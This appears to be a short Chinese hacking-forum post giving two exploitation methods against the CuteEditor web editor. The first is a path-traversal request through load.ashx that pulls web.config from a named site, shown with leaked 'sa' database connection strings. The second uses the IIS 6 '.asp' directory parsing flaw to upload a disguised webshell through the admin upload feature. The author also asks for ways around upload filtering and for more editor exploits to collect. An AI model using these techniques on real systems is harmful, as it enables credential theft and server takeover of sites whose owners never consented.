cuteeditor利用方法两则浏览文章蓝色湖畔

作者：m@w01f
1.直接下载load.ashx配置文件
http://www.7747.net/CuteSoft_Clie ... ../../../web.config

然后查看一些sql配置信息从sql数据库连接入手

<connectionStrings>
     <add name="ynncConnectionString" connectionString="Server=.;DataBase=ynta; UID=sa;PWD="/>
     <add name="strConn" connectionString="Server=.;DataBase=ynta; UID=sa;PWD="/>
</connectionStrings>
<location path="admin/images">
     <system.web>
       <authorization>
         <allow users="?" roles="Admin,Manager,User"/>
       </authorization>
     </system.web>
</location>

<location path="admin">
     <system.web>
       <authorization>
         <deny users="?" roles="Admin,Manager,User"/>
         <allow users="*"/>
       </authorization>
     </system.web>
</location>

<location path="admin/YNTA_UpFile">
     <system.web>
       <authorization>
         <allow users="?" roles="Admin,Manager,User"/>
       </authorization>
     </system.web>
</location>

<location path="admin/flv">
     <system.web>
       <authorization>
         <allow users="?" roles="Admin,Manager,User"/>
       </authorization>
     </system.web>
</location>
2.2003 iis解析(后台拿webshell)

填加新闻--上传音乐，视频等图标---新建目录xx.asp 然后上传小马x.avi
图片方面因为格式检查严格~！不成功~求突破。

菜鸟文章说法不专业请各位多多包涵。
顺便讨论哈一些编辑器以及其漏洞收藏整理供后人查阅使用。
目前就知道个ewebeditor ,fckeditor,cuteeditor.
请大牛多多分享包涵！